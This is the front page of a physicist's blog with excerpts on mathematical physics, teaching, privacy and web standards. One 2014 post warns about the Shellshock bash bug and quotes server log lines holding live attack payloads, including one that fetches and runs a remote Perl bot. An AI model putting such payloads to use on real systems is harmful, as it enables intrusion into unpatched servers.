Skip to the Main Content

Note:These pages make extensive use of the latest XHTML and CSS Standards. They ought to look great in any standards-compliant modern browser. Unfortunately, they will probably look horrible in older browsers, like Netscape 4.x and IE 4.x. Moreover, many posts use MathML, which is, currently only supported in Mozilla. My best suggestion (and you will thank me when surfing an ever-increasing number of sites on the web which have been crafted to use the new standards) is to upgrade to the latest version of your browser. If that's not possible, consider moving to the Standards-compliant and open-source Mozilla browser.

June 19, 2015

Asymptotic Safety and the Gribov Ambiguity

Recently, an old post of mine about the Asymptotic Safety program for quantizing gravity received a flurry of new comments. Inadvertently, one of the pseudonymous commenters pointed out yet another problem with the program, which deserves a post all its own.

Before launching in, I should say that

  1. Everything I am about to say was known to Iz Singer in 1978. Though, as with the corresponding result for nonabelian gauge theory, the import seems to be largely unappreciated by physicists working on the subject.
  2. I would like to thank Valentin Zakharevich, a very bright young grad student in our Math Department for a discussion on this subject, which clarified things greatly for me.
Posted by distler at 3:11 AM | Permalink | Followups (8)

May 12, 2015

Action-Angle Variables

This semester, I taught the Graduate Mechanics course. As is often the case, teaching a subject leads you to rethink that you thought you understood, sometimes with surprising results.

The subject for today’s homily is Action-Angle variables.

Let (,ω)(\mathcal{M},\omega) be a 2n2n-dimensional symplectic manifold. Let us posit that \mathcal{M} had a foliation by nn-dimensional Lagrangian tori (a torus, TMT\subset M, is Lagrangian if ω| T=0\omega|_T =0). Removing a subset, SS\subset \mathcal{M}, of codimension codim(S)2codim(S)\geq 2, where the leaves are singular, we can assume that all of the leaves on =\S\mathcal{M}'=\mathcal{M}\backslash S are smooth tori of dimension nn.

The objective is to construct coordinates φ i,K i\varphi^i, K_i with the following properties.

  1. The φ i\varphi^i restrict to angular coordinates on the tori. In particular φ i\varphi^i shifts by 2π2\pi when you go around the corresponding cycle on TT.
  2. The K iK_i are globally-defined functions on \mathcal{M} which are constant on each torus.
  3. The symplectic form ω=dK idφ i\omega= d K_i\wedge d \varphi^i.

From 1, it’s clear that it’s more convenient to work with the 1-forms dφ id\varphi^i, which are single-valued (and closed, but not necessarily exact), rather than with the φ i\varphi^i themselves. In 2, it’s rather important that the K iK_i are really globally-defined. In particular, an integrable Hamiltonian is a function H(K)H(K). The K iK_i are the nn conserved quantities which make the Hamiltonian integrable.

Obviously, a given foliation is compatible with infinitely many “integrable Hamiltonians,” so the existence of a foliation is the more fundamental concept.

All of this is totally standard.

What never really occurred to me is that the standard construction of action-angle variables turns out to be very closely wedded to the particular case of a cotangent bundle, =T *M\mathcal{M}=T^*M.

As far as I can tell, action-angle variables don’t even exist for foliations of more general symplectic manifolds, \mathcal{M}.

Posted by distler at 11:49 AM | Permalink | Followups (13)

December 18, 2014

Smoke Signals, Morse Code or … ?

It seemed like a straightforward question. If you use Apple’s to store your contacts, you’ve surely noticed this behaviour: some of your contacts auto-magically sprout clickable links for Facetime video/audio chats, with no intervention on your part. I was curious enough to submit a query about it, via Apple’s Support Site: seems to know whether each of my contacts has registered their email for FaceTime, even if I have NEVER tried to facetime with them (or call their cell-phone or …). How does it do this? Are all of the email addresses in my addressbook automatically uploaded to Apple’s servers? If so, how do I turn this off, as it seems to be a MASSIVE invasion of my privacy.

That was a month and a half ago (2014/11/02). Today, I received a response:

Posted by distler at 3:14 PM | Permalink | Followups (14)

October 25, 2014


Wow! After a decade, Wikipedia finally rolls out MathML rendering. Currently, only available (as an optional preference) to registered users. Hopefully, in a few more years, they’ll make it the default.

Some implementation details are available at Frédéric’s blog.

Posted by distler at 1:19 AM | Permalink | Followups (4)

September 27, 2014

Shellshock and MacOSX

Most Linux Distros have released patches for the recently-discovered “Shellshock” bug in /bin/bash. Apple has not, despite the fact that it uses bash as the default system shell (/bin/sh).

If you are running a webserver, you are vulnerable. Even if you avoid the obvious pitfall of writing CGI scripts as shellscripts, you are still vulnerable if one of your Perl (or PHP) scripts calls out to system(). Even Phusion Passenger is vulnerable. And, yes, this vulnerability is being actively exploited on the Web. - - [24/Sep/2014:20:35:04 -0500] "GET / HTTP/1.0" 301 402 "() { :; }; ping -c 11" "shellshock-scan (" "-" - - - - - [25/Sep/2014:02:50:59 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 411 "-" "() { :;}; /bin/ping -c 1" "-" - - - - - [25/Sep/2014:18:55:31 -0500] "GET / HTTP/1.1" 301 379 "() { :; }; /bin/ping -c 1" "() { :; }; /bin/ping -c 1" "-" - - - - - [25/Sep/2014:20:05:01 -0500] "GET / HTTP/1.1" 301 379 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php5 HTTP/1.0" 301 391 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php HTTP/1.0" 301 390 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php.fcgi HTTP/1.0" 301 395 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/ HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/ HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /test HTTP/1.0" 301 383 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/ HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" -  - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php HTTP/1.0" 404 359 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php5 HTTP/1.0" 404 360 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php.fcgi HTTP/1.0" 404 364 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - [26/Sep/2014:03:29:41 -0500] "GET /test HTTP/1.0" 404 352 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/ HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/ HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/ HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - - - - [26/Sep/2014:14:39:29 -0500] "GET / HTTP/1.1" 301 385 "-" "() { :;}; /bin/bash -c \"wget --delete-after\"" "-" - - - - - [26/Sep/2014:14:39:30 -0500] "GET / HTTP/1.1" 200 155 "-" "() { :;}; /bin/bash -c \"wget --delete-after\"" "-" - - - - - [26/Sep/2014:15:09:21 -0500] "GET /category/2007/07/making_adscft_precise.html%0A HTTP/1.1" 301 431 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:09:23 -0500] "GET /category/2007/07/making_adscft_precise.html%0D%0A HTTP/1.1" 301 434 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:09:24 -0500] "GET /category/2007/07/making_adscft_precise.html%0d%0a HTTP/1.1" 404 393 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:09:33 -0500] "GET /category/2007/07/making_adscft_precise.html%0a HTTP/1.1" 404 392 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:11:41 -0500] "GET /category/2008/02/bruce_bartlett_on_the_charged.html%0A HTTP/1.1" 301 439 "-" "() { :;}; echo -e 'detector'" "-" - - - - - [26/Sep/2014:15:11:44 -0500] "GET /category/2008/02/bruce_bartlett_on_the_charged.html%0a HTTP/1.1" 404 400 "-" "() { :;}; echo -e 'detector'" "-" - - -

Some of these look like harmless probes; others (like the one which tries to download and run an IRCbot on your machine) less so.

If you’re not running a webserver, the danger is less clear. There are persistent (but apparently incorrect) rumours that Apple’s DHCP client may be vulnerable. If true, then your iPhone could easily be pwned by a rogue DHCP server (running on someone’s laptop) at Starbucks.

I don’t know what to do about your iPhone, but at least you can patch your MacOSX machine yourself.

Posted by distler at 12:58 PM | Permalink | Followups (2)

August 19, 2014

Golem V

For nearly 20 years, Golem has been the machine on my desk. It’s been my mail server, web server, file server, … ; it’s run Mathematica and TeX and compiled software for me. Of course, it hasn’t been the same physical machine all these years. Like Doctor Who, it’s gone through several reincarnations.

Alas, word came down from the Provost that all “servers” must move (physically or virtually) to the University Data Center. And, bewilderingly, the machine on my desk counted as a “server.”

Posted by distler at 3:05 PM | Permalink | Followups (15)

February 24, 2014


My eldest turned 18 and voted in her first Primary election this week. This being Texas, she decided to register as a Republican. Which means that, soon, we will start fielding phone calls from political campaigns. So I drafted a set of questions to ask the earnest campaign workers when they call.

Posted by distler at 9:30 PM | Permalink | Followups (9)

February 22, 2014


Sometimes, for the sake of pedagogy, it is best to suppress some of the ugly details, in order to give a clear exposition of the idea behind a particular concept one is trying to teach. But clarity isn’t achieved by outright lies. And I always find myself frustrated when our introductory courses descend to the latter.

My colleague, Sonia, is teaching the introductory “Waves” course (Phy 315) which, as you might imagine, is all about solving the equation

(1)0=( 2t 2c 2 2x 2)u(x,t)0 = \left(\frac{\partial^2}{{\partial t}^2} - c^2 \frac{\partial^2}{{\partial x}^2}\right) u(x,t)

This has travelling wave solutions, with dispersion relation

(2)ω(k) 2=c 2k 2{\omega(k)}^2 = c^2 k^2

If you study solutions to (1), on the interval [0,L][0,L], with “free” boundary conditions at the endpoints,

(3)ux| x=0,L=0\left.\frac{\partial u}{\partial x}\right\vert_{x=0,L} = 0

you find standing wave solutions u(x,t)=Acos(kx)cos(ckt) u(x,t) = A \cos(k x)\cos( c k t) where the boundary condition at x=Lx=L imposes

(4)sin(kL)=0orkL=nπ,n=1,2,\sin(k L) = 0\qquad \text{or}\qquad k L = n\pi,\, n=1,2,\dots

The first couple of these “normal modes” look like

(5) Layer 1 x = 0 x=0 x = L x=L Layer 1 x = 0 x=0 x = L x=L n=1 n=2\begin{matrix} \begin{svg} <svg width="240" height="102" xmlns="" xmlns:svg="" xmlns:se="" xmlns:math=""> <g> <title>Layer 1</title> <path id="svg_36902_1" d="m220,101c-100,0 -100,-100 -200,-100" stroke-width="2" stroke="#ff0000" fill="none"/> <line fill="none" stroke="#000000" stroke-width="2" x1="20" y1="51" x2="220" y2="51" id="svg_36902_2"/> <foreignObject height="20" width="40" font-size="16" id="svg_36902_3" y="51" x="0"> <math display="inline" xmlns=""> <semantics> <mrow> <mi>x</mi> <mo>=</mo> <mn>0</mn> </mrow> <annotation encoding="application/x-tex">x=0</annotation> </semantics> </math> </foreignObject> <foreignObject id="svg_36902_4" height="20" width="40" font-size="16" y="51" x="200"> <math display="inline" xmlns=""> <semantics> <mrow> <mi>x</mi> <mo>=</mo> <mi>L</mi> </mrow> <annotation encoding="application/x-tex">x=L</annotation> </semantics> </math> </foreignObject> </g> </svg> \end{svg} & \begin{svg} <svg width="240" height="102" xmlns="" xmlns:svg="" xmlns:se="" xmlns:math=""> <g> <title>Layer 1</title> <line fill="none" stroke="#000000" stroke-width="2" x1="20" y1="51" x2="220" y2="51" id="svg_36903_2"/> <foreignObject height="20" width="40" font-size="16" id="svg_36903_3" y="51" x="0"> <math display="inline" xmlns=""> <semantics> <mrow> <mi>x</mi> <mo>=</mo> <mn>0</mn> </mrow> <annotation encoding="application/x-tex">x=0</annotation> </semantics> </math> </foreignObject> <foreignObject id="svg_36903_4" height="20" width="40" font-size="16" y="51" x="200"> <math display="inline" xmlns=""> <semantics> <mrow> <mi>x</mi> <mo>=</mo> <mi>L</mi> </mrow> <annotation encoding="application/x-tex">x=L</annotation> </semantics> </math> </foreignObject> <path fill="none" stroke="#ff0000" stroke-width="2" d="m20,1c50,0 50,100 100,100c43,0 50,-100 100,-100" id="svg_36903_5" fill-opacity="0"/> </g> </svg> \end{svg}\ n=1&n=2 \end{matrix}

To “illustrate” this, in their compulsory lab accompanying the course, the students were given the task of measuring the normal modes of a thin metal bar, with free boundary conditions at each end, sinusoidally driven by an electromagnet (of adjustable frequency).

Unfortunately, this “illustration” is a complete lie. The transverse oscillations of the metal bar are governed by an equation which is not even approximately like (1); the dispersion relation looks nothing like (2); “free boundary conditions” look nothing like (3) and therefore it should not surprise you that the normal modes look nothing like (4).

Unfortunately, so inured are they to this sort of thing, that only one (out of 120!) students noticed that something was amiss in their experiment. “Hey,” he emailed Sonia, “Why is the n=1n=1 mode absent?”

Posted by distler at 3:55 PM | Permalink | Post a Comment

February 11, 2014

Naturalness Versus the Weak Gravity Conjecture

Clifford Cheung and his student have a cute paper on the arXiv. The boldest version of what they’re suggesting is that, perhaps, quantum gravity solves the hierarchy problem.

That’s way too glib a summary, but the detailed version is still pretty surprising.

Posted by distler at 8:32 PM | Permalink | Post a Comment

February 7, 2014


Humans are hard-wired to find patterns.

Even when there are none.

Explaining those patterns (at least, the ones which are real) is what science is all about. But, even there, lie pitfalls. Have you really controlled for all of the variable which might have led to the result?

Posted by distler at 12:27 PM | Permalink | Followups (8)

December 28, 2013

The Bus Stop Problems

Since we had so much fun with Bayes Theorem in a recent post, I can’t resist another.

Young Economics whippersnapper Evan Soltas posed two problems to do with Bayesian probability:

  1. You arrive at a bus stop in an unfamiliar part of town. Assume that buses arrive at the stop as a Poisson process, with an unknown (to you) rate, λ\lambda. You don’t know λ\lambda, but say you have a prior probability distribution for it, p 0(λ)p_0(\lambda).
    • What’s your expected wait time, T\langle T\rangle, for the next bus to arrive?
    • Say you’ve been waiting for a time tt. What’s your posterior probability distribution, p(λ)p(\lambda), and what’s your new expected wait time?
  2. Let’s add some more information. Say that riders arrive at the bus stop via an independent Poisson process with an (unknown to you) rate, μ\mu. Whenever a bus arrives, all those waiting at the stop get on it. Thus, the number of people waiting is the number who arrived since the last bus. Say you arrive at the stop to find nn people already waiting. You wait for a time, tt, at which point there are NN other people waiting at the stop (i.e., NnN-n arrived while you were waiting).
    • Given this data, what’s your posterior probability distribution, p(λ,μ)p(\lambda,\mu)?
    • What’s your new expected wait time, T\langle T\rangle?

These questions illustrate one of my favourite points of view on Bayes Theorem, namely that it induces a flow on the (infinite-dimensional!) space of probability distributions. Understanding the nature of that flow is, I think, the key task of the subject.

Infinite dimensions are hard to get an intuition for, so one of the first tasks is to cut the problem down to a finite-dimensional one.

Posted by distler at 4:42 PM | Permalink | Followups (4)

October 31, 2013

Halloween 2013

It’s Halloween, again. Time for another pumpkin.

Posted by distler at 10:23 AM | Permalink | Followups (2)

August 24, 2013


Normally, I wouldn’t touch a paper, with the phrase “Boltzmann brains” in the title, with a 10-foot pole. And anyone accosting me, intent on discussing the subject, would normally be treated as one of the walking undead.

But Sean Carroll wrote a paper and a blog post and I really feel the need to do something about it.

Posted by distler at 2:10 PM | Permalink | Followups (29)

August 6, 2013

Maybe this time …

Lucy snatches football from Charlie Brown... again

For many years, I tried keeping up with the LQG literature. Though it provided occasional fodder for blogging, it mostly was an exercise in frustration. Years ago, I gave up the effort. Still, occasionally, an LQG paper crosses my radar screen with claims interesting enough to cause me to suspend my better judgement.

One such paper, by Gomes et al, purports to be a significant breakthrough in the understanding of AdS/CFT. They claim to reproduce the conformal anomaly of a boundary CFT from some Loopy formulation (“Shape Dynamics”) of the bulk theory, thereby shedding light on the 1998 computation of Henningson and Skenderis who first reproduced the conformal anomaly from AdS/CFT (a more careful and thorough derivation can be found in a followup paper).

How could I resist?

Posted by distler at 10:59 AM | Permalink | Followups (6)

June 27, 2013

I lost

It’s been 20 years since I had the surreal experience of turning on C-Span late at night to see my future boss, Steve Weinberg, testify before Congress on behalf of the SSC.

Steve, alas, was unsuccessful; the SSC was cancelled, and the High Energy Physics community threw our collective eggs in the basket of the LHC. The SSC, at s=40\sqrt{s}=40TeV, was designed as a discovery machine for TeV-scale physics. The LHC, with a design energy of s=14\sqrt{s}=14TeV, is the best one could do, using the existing LEP tunnel. It was guaranteed to discover the Higgs. But for new physics, one would have to be somewhat lucky.

Posted by distler at 11:59 AM | Permalink | Followups (25)